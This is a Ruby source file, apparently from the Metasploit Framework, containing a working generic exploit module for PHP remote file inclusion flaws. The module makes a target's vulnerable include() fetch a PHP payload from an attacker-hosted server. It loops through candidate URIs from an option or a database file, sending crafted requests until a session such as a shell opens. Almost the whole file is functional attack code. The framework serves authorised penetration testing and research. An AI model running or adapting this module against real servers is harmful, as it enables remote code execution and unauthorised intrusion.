##
# $Id: php_include.rb 10694 2010-10-15 12:24:17Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Remote::HttpServer::PHPInclude

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'PHP Remote File Include Generic Exploit',
			'Description'    => %q{
					This module can be used to exploit any generic PHP file include vulnerability,
				where the application includes code like the following:

				<?php include($_GET['path']); ?>
			},
			'Author'         => [ 'hdm' , 'egypt' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10694 $',
			'References'     => [ ],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Compat'      =>
						{
							'ConnectionType' => 'find',
						},
					# Arbitrary big number. The payload gets sent as an HTTP
					# response body, so really it's unlimited
					'Space'       => 262144, # 256k
				},
			'DefaultOptions' =>
				{
					'WfsDelay' => 30
				},
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        => [[ 'Automatic', { }]],
			'DefaultTarget' => 0))

		register_options([
			OptString.new('PATH', [ true , "The base directory to prepend to the URL to try", '/']),
			OptString.new('PHPURI', [false, "The URI to request, with the include parameter changed to XXpathXX"]),
			OptPath.new('PHPRFIDB', [false, "A local file containing a list of URLs to try, with XXpathXX replacing the URL",
				File.join(Msf::Config.install_root, "data", "exploits", "php", "rfi-locations.dat")
				])
			], self.class)
	end

	def check
		uri = datastore['PHPURI'] ? datastore['PHPURI'].dup : ""
		if(uri and ! uri.empty?)
			uri.gsub!(/\?.*/, "")
			print_status("Checking uri #{uri}")
			response = send_request_raw({ 'uri' => uri})
			if response.code == 200
				return Exploit::CheckCode::Detected
			end
			print_error("Server responded with #{response.code}")
			return Exploit::CheckCode::Safe
		else
			return Exploit::CheckCode::Unknown
		end
	end

	def php_exploit

		uris = []

		tpath = datastore['PATH']
		if tpath[-1,1] == '/'
			tpath = tpath.chop
		end

		# PHPURI overrides the PHPRFIDB list
		if (datastore['PHPURI'] and not datastore['PHPURI'].empty?)
			uris << datastore['PHPURI'].strip.gsub('XXpathXX', Rex::Text.to_hex(php_include_url, "%"))
		else
			print_status("Loading RFI URLs from the database...")
			::File.open(datastore['PHPRFIDB'], "rb") do |fd|
				fd.read(fd.stat.size).split(/\n/).each do |line|
					line.strip!
					next if line.empty?
					next if line =~ /^#/
					next if line !~ /^\//

					uris << line.gsub('XXpathXX',
						Rex::Text.to_hex(php_include_url.sub(/\?$/, '') + '?', "%") # ? append is required
					)
				end
			end
			uris.uniq!
			print_status("Loaded #{uris.length} URLs")
		end

		# Very short timeout because the request may never return if we're
		# sending a socket payload
		timeout = 0.01

		# We can't make this parallel without breaking PHP findsock
		# Findsock payloads cause this loop to run slowly
		uris.each do |uri|
			break if session_created?

			# print_status("Sending #{tpath+uri}")
			begin
				response = send_request_raw( {
					'global' => true,
					'uri'    => tpath+uri,
				}, timeout)

				handler
			rescue ::Interrupt
				raise $!
			rescue ::Rex::HostUnreachable, ::Rex::ConnectionRefused
				print_error("The target service unreachable")
				break
			rescue ::OpenSSL::SSL::SSLError
				print_error("The target failed to negotiate SSL, is this really an SSL service?")
				break
			rescue ::Exception => e
				print_error("Exception #{e.class} #{e}")
			end
		end
	end
end
